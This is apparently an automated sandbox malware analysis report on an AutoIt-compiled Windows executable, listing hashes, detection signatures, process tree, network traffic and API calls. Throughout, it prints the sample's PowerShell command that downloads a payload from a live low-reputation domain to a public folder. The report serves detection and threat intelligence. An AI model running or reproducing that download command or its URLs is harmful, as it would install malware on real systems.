Edit tour

Windows Analysis Report
elyho3x5zz.exe

Overview

General Information

Sample name:	elyho3x5zz.exe renamed because original name is a hash value
Original sample name:	69931884c719a49700d9b1921e915ed0.exe
Analysis ID:	1584333
MD5:	69931884c719a49700d9b1921e915ed0
SHA1:	9d01852540ef12d782a18f0aae776a4af90be433
SHA256:	d438f531f435c04c139ff9895885a3bc721958fde5354d738bb928b1899e5693
Tags:	exeuser-abuse_ch
Infos:

Detection

Score:	76
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Icon mismatch, binary includes an icon from a different legit application in order to fool users

Multi AV Scanner detection for submitted file

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

Performs DNS queries to domains with low reputation

Sigma detected: Suspicious Invoke-WebRequest Execution

Suspicious powershell command line found

AV process strings found (often used to terminate AV products)

Contains functionality for read data from the clipboard

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found large amount of non-executed APIs

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

OS version to string mapping found (often used in BOTs)

Queries the volume information (name, serial number etc) of a device

Sigma detected: PowerShell Web Download

Sigma detected: Usage Of Web Request Commands And Cmdlets

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

elyho3x5zz.exe (PID: 5656 cmdline: "C:\Users\user\Desktop\elyho3x5zz.exe" MD5: 69931884C719A49700D9B1921E915ED0)

powershell.exe (PID: 1488 cmdline: powershell -Command "Invoke-WebRequest -Uri "https://bdfhbrgrg.xyz/ImldXigH" -OutFile "C:\Users\Public\Guard.exe"" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 1632 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell -Command "Invoke-WebRequest -Uri "https://bdfhbrgrg.xyz/ImldXigH" -OutFile "C:\Users\Public\Guard.exe"", CommandLine: powershell -Command "Invoke-WebRequest -Uri "https://bdfhbrgrg.xyz/ImldXigH" -OutFile "C:\Users\Public\Guard.exe"", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\elyho3x5zz.exe", ParentImage: C:\Users\user\Desktop\elyho3x5zz.exe, ParentProcessId: 5656, ParentProcessName: elyho3x5zz.exe, ProcessCommandLine: powershell -Command "Invoke-WebRequest -Uri "https://bdfhbrgrg.xyz/ImldXigH" -OutFile "C:\Users\Public\Guard.exe"", ProcessId: 1488, ProcessName: powershell.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell -Command "Invoke-WebRequest -Uri "https://bdfhbrgrg.xyz/ImldXigH" -OutFile "C:\Users\Public\Guard.exe"", CommandLine: powershell -Command "Invoke-WebRequest -Uri "https://bdfhbrgrg.xyz/ImldXigH" -OutFile "C:\Users\Public\Guard.exe"", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\elyho3x5zz.exe", ParentImage: C:\Users\user\Desktop\elyho3x5zz.exe, ParentProcessId: 5656, ParentProcessName: elyho3x5zz.exe, ProcessCommandLine: powershell -Command "Invoke-WebRequest -Uri "https://bdfhbrgrg.xyz/ImldXigH" -OutFile "C:\Users\Public\Guard.exe"", ProcessId: 1488, ProcessName: powershell.exe

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: powershell -Command "Invoke-WebRequest -Uri "https://bdfhbrgrg.xyz/ImldXigH" -OutFile "C:\Users\Public\Guard.exe"", CommandLine: powershell -Command "Invoke-WebRequest -Uri "https://bdfhbrgrg.xyz/ImldXigH" -OutFile "C:\Users\Public\Guard.exe"", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\elyho3x5zz.exe", ParentImage: C:\Users\user\Desktop\elyho3x5zz.exe, ParentProcessId: 5656, ParentProcessName: elyho3x5zz.exe, ProcessCommandLine: powershell -Command "Invoke-WebRequest -Uri "https://bdfhbrgrg.xyz/ImldXigH" -OutFile "C:\Users\Public\Guard.exe"", ProcessId: 1488, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -Command "Invoke-WebRequest -Uri "https://bdfhbrgrg.xyz/ImldXigH" -OutFile "C:\Users\Public\Guard.exe"", CommandLine: powershell -Command "Invoke-WebRequest -Uri "https://bdfhbrgrg.xyz/ImldXigH" -OutFile "C:\Users\Public\Guard.exe"", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\elyho3x5zz.exe", ParentImage: C:\Users\user\Desktop\elyho3x5zz.exe, ParentProcessId: 5656, ParentProcessName: elyho3x5zz.exe, ProcessCommandLine: powershell -Command "Invoke-WebRequest -Uri "https://bdfhbrgrg.xyz/ImldXigH" -OutFile "C:\Users\Public\Guard.exe"", ProcessId: 1488, ProcessName: powershell.exe

Suricata Signatures

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-05T08:39:38.698575+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	188.114.96.3	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: elyho3x5zz.exe	Virustotal: Detection: 55%			Perma Link
Source: elyho3x5zz.exe	ReversingLabs: Detection: 39%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Source: unknown

HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49704 version: TLS 1.2

Source: elyho3x5zz.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF62928C7C0 lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	0_2_00007FF62928C7C0
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF629252F50 FindFirstFileExW,	0_2_00007FF629252F50
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF62929A4F8 FindFirstFileW,FindNextFileW,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,	0_2_00007FF62929A4F8
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF62929A350 FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,	0_2_00007FF62929A350
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF629296428 FindFirstFileW,FindNextFileW,FindClose,	0_2_00007FF629296428
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF62929A874 FindFirstFileW,Sleep,FindNextFileW,FindClose,	0_2_00007FF62929A874
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF62928BC70 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00007FF62928BC70
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF6292972A8 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,	0_2_00007FF6292972A8
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF6292971F4 FindFirstFileW,FindClose,	0_2_00007FF6292971F4
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF62928B7C0 FindFirstFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00007FF62928B7C0

Networking

Performs DNS queries to domains with low reputation

Source:

DNS query: bdfhbrgrg.xyz

Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 188.114.96.3:443

Source: global traffic

HTTP traffic detected: GET /ImldXigH HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: bdfhbrgrg.xyzConnection: Keep-Alive

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\elyho3x5zz.exe

Code function: 0_2_00007FF62929E968 InternetQueryDataAvailable,InternetReadFile,

0_2_00007FF62929E968

Source: global traffic

HTTP traffic detected: GET /ImldXigH HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: bdfhbrgrg.xyzConnection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: bdfhbrgrg.xyz

Source: elyho3x5zz.exe, 00000000.00000002.2454606052.000001F7E4810000.00000004.00000020.00020000.00000000.sdmp, elyho3x5zz.exe, 00000000.00000003.2454106138.000001F7E481F000.00000004.00000020.00020000.00000000.sdmp, elyho3x5zz.exe, 00000000.00000003.2454002629.000001F7E481F000.00000004.00000020.00020000.00000000.sdmp, elyho3x5zz.exe, 00000000.00000003.2454002629.000001F7E480F000.00000004.00000020.00020000.00000000.sdmp, elyho3x5zz.exe, 00000000.00000003.2454231344.000001F7E481F000.00000004.00000020.00020000.00000000.sdmp, elyho3x5zz.exe, 00000000.00000003.2454106138.000001F7E4810000.00000004.00000020.00020000.00000000.sdmp, elyho3x5zz.exe, 00000000.00000002.2454537404.000001F7E47E8000.00000004.00000020.00020000.00000000.sdmp, elyho3x5zz.exe, 00000000.00000003.2453971032.000001F7E4809000.00000004.00000020.00020000.00000000.sdmp, elyho3x5zz.exe, 00000000.00000002.2454619971.000001F7E4821000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bdfhbrgrg.xyz/ImldXigH
Source: elyho3x5zz.exe, 00000000.00000002.2454537404.000001F7E47E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bdfhbrgrg.xyz/yajwgWMT.txt

Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704

Source: unknown

HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49704 version: TLS 1.2

Source: C:\Users\user\Desktop\elyho3x5zz.exe

Code function: 0_2_00007FF6292A0A6C OpenClipboard,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

0_2_00007FF6292A0A6C

Source: C:\Users\user\Desktop\elyho3x5zz.exe

Code function: 0_2_00007FF6292A0D24 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_00007FF6292A0D24

Source: C:\Users\user\Desktop\elyho3x5zz.exe

0_2_00007FF6292A0A6C

Source: C:\Users\user\Desktop\elyho3x5zz.exe

Code function: 0_2_00007FF629288CAC GetKeyboardState,SetKeyboardState,PostMessageW,SendInput,

0_2_00007FF629288CAC

System Summary

Binary is likely a compiled AutoIt script file

Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: This is a third-party compiled AutoIt script.	0_2_00007FF6292137B0
Source: elyho3x5zz.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: elyho3x5zz.exe, 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_3ae4a6b1-d
Source: elyho3x5zz.exe, 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer@*()	memstr_6d3c3a75-0
Source: elyho3x5zz.exe	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_71b0ad23-0
Source: elyho3x5zz.exe	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer@*	memstr_0084260f-3

Source: C:\Users\user\Desktop\elyho3x5zz.exe

Code function: 0_2_00007FF629293E20: GetFullPathNameW,CreateDirectoryW,CreateFileW,RemoveDirectoryW,DeviceIoControl,CloseHandle,CloseHandle,

0_2_00007FF629293E20

Source: C:\Users\user\Desktop\elyho3x5zz.exe

Code function: 0_2_00007FF62927CE68 LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

0_2_00007FF62927CE68

Source: C:\Users\user\Desktop\elyho3x5zz.exe

Code function: 0_2_00007FF62928D750 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,

0_2_00007FF62928D750

Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF629212AE0	0_2_00007FF629212AE0
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF629252D20	0_2_00007FF629252D20
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF629220E70	0_2_00007FF629220E70
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF629230E90	0_2_00007FF629230E90
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF6292BCE8C	0_2_00007FF6292BCE8C
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF629256DE4	0_2_00007FF629256DE4
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF629222E30	0_2_00007FF629222E30
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF6292430DC	0_2_00007FF6292430DC
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF6292302C4	0_2_00007FF6292302C4
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF6292484C0	0_2_00007FF6292484C0
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF629234514	0_2_00007FF629234514
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF6292A8360	0_2_00007FF6292A8360
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF6292983D4	0_2_00007FF6292983D4
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF62923C3FC	0_2_00007FF62923C3FC
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF629252400	0_2_00007FF629252400
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF6292BC6D4	0_2_00007FF6292BC6D4
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF6292BA59C	0_2_00007FF6292BA59C
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF62924A8A0	0_2_00007FF62924A8A0
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF6292567F0	0_2_00007FF6292567F0
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF62922FA4F	0_2_00007FF62922FA4F
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF6292BDB18	0_2_00007FF6292BDB18
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF62924793C	0_2_00007FF62924793C
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF62921B9F0	0_2_00007FF62921B9F0
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF629291A18	0_2_00007FF629291A18
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF6292BBA0C	0_2_00007FF6292BBA0C
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF629223C20	0_2_00007FF629223C20
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF62921BE70	0_2_00007FF62921BE70
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF62923BEB4	0_2_00007FF62923BEB4
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF6292A206C	0_2_00007FF6292A206C
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF62923C130	0_2_00007FF62923C130
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF629215F3C	0_2_00007FF629215F3C
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF6292A32AC	0_2_00007FF6292A32AC
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF62925529C	0_2_00007FF62925529C
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF62921B390	0_2_00007FF62921B390
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF6292A56A0	0_2_00007FF6292A56A0
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF6292495B0	0_2_00007FF6292495B0
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF62921183C	0_2_00007FF62921183C
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF629251840	0_2_00007FF629251840
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF62928D87C	0_2_00007FF62928D87C
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF62923F8D0	0_2_00007FF62923F8D0
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF6292258D0	0_2_00007FF6292258D0
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF629241750	0_2_00007FF629241750
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF6292C17C0	0_2_00007FF6292C17C0

Source: classification engine

Classification label: mal76.troj.evad.winEXE@4/4@1/1

Source: C:\Users\user\Desktop\elyho3x5zz.exe

Code function: 0_2_00007FF629293778 GetLastError,FormatMessageW,

0_2_00007FF629293778

Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF62927CCE0 AdjustTokenPrivileges,CloseHandle,		0_2_00007FF62927CCE0
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF62927D5CC LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		0_2_00007FF62927D5CC

Source: C:\Users\user\Desktop\elyho3x5zz.exe

Code function: 0_2_00007FF6292959D8 SetErrorMode,GetDiskFreeSpaceW,GetLastError,SetErrorMode,

0_2_00007FF6292959D8

Source: C:\Users\user\Desktop\elyho3x5zz.exe

Code function: 0_2_00007FF62928BE00 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

0_2_00007FF62928BE00

Source: C:\Users\user\Desktop\elyho3x5zz.exe

Code function: 0_2_00007FF629296D04 CoInitialize,CoCreateInstance,CoUninitialize,

0_2_00007FF629296D04

Source: C:\Users\user\Desktop\elyho3x5zz.exe

Code function: 0_2_00007FF629216580 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

0_2_00007FF629216580

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1632:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ycr1vuog.ak1.ps1

Jump to behavior

Source: elyho3x5zz.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\elyho3x5zz.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: elyho3x5zz.exe	Virustotal: Detection: 55%
Source: elyho3x5zz.exe	ReversingLabs: Detection: 39%

Source: unknown	Process created: C:\Users\user\Desktop\elyho3x5zz.exe "C:\Users\user\Desktop\elyho3x5zz.exe"
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri "https://bdfhbrgrg.xyz/ImldXigH" -OutFile "C:\Users\Public\Guard.exe""
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri "https://bdfhbrgrg.xyz/ImldXigH" -OutFile "C:\Users\Public\Guard.exe""	Jump to behavior

Source: C:\Users\user\Desktop\elyho3x5zz.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
